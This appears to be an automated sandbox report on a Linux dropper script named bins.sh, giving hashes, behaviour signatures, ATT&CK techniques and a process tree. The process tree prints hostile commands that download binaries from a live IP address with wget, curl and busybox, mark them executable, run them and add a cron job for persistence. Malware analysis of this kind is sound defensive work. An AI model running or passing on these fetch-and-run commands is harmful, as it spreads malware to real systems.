Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
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submitted
11/12/2024, 18:06
General
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Target
bins.sh
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Size
10KB
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MD5
6d4037130b20353b10064ed9679e3c81
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SHA1
feac3dc2421c23aea64020407c83001b0e5a7080
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SHA256
8636ffc4c47b05053967830b8119844279ab787ccc8245eebaa8fcab55c73a6a
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SHA512
88c3c343c10f832fd187d0681c9677e79047ecd7a204bd2a37dcf5451457d60069ed47e272eb4e0451070dd849e5fbd634a660d177d14d55d0d12782ab3d740e
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SSDEEP
192:P5J23fjFLdFNeHzfWffZBuPrM8VyUjUTUCUfBUtU4pFNeHz3ZBuPrjehUjUTUCUu:P5J23fjFA+fZBuPrM8VyUjUTUCUfBUty
Malware Config
Signatures
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Contacts a large (1849) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Unexpected DNS network traffic destination 27 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.164/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD2⤵
- File and Directory Permissions Modification
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/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD./GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
210B
MD5efe79f3f0d2f7539d1ab6776c31df995
SHA1ccc390f6fdc31513755a456afb14f38ece789615
SHA2562ea16ea6709e5b809ee71ae82750090d3aef0d2a4ad0883bc6bcfd2186088dd3
SHA51215d146c164bd3ef31bc4cd77c307871c27cab6b77dfb1ed6ee06303634e6341bb1a598bedab006e8d534b0941728cbf09c101114b3725ddc44d075869a23dca8